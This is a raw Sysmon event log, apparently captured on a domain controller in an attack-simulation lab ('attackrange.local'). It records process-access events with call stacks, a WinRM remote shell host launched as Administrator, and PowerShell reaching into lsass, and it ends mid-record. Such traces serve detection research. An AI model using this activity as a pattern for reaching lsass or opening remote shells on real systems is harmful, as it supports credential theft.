09:10:32.364{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-2908-5F80-B000-000000007F01}4128C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003473Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2908-5F80-B100-000000007F01}4668C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003472Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003471Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003470Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003469Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003468Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003467Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003466Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003465Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003464Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003463Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2908-5F80-B000-000000007F01}4128C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003462Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2908-5F80-B000-000000007F01}4128C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003461Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.368{A5F018FF-2908-5F80-B000-000000007F01}4128C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000003460Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003459Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.364{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003458Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.349{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003457Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.271{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003456Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.271{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003455Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.271{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003454Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.271{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003453Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.271{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003452Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.271{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 22542200x80000000000000003451Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.543{A5F018FF-2906-5F80-AD00-000000007F01}4900onegetcdn.azureedge.net0type: 5 onegetcdn.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10341000x80000000000000003596Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.474{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003595Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.474{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003594Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 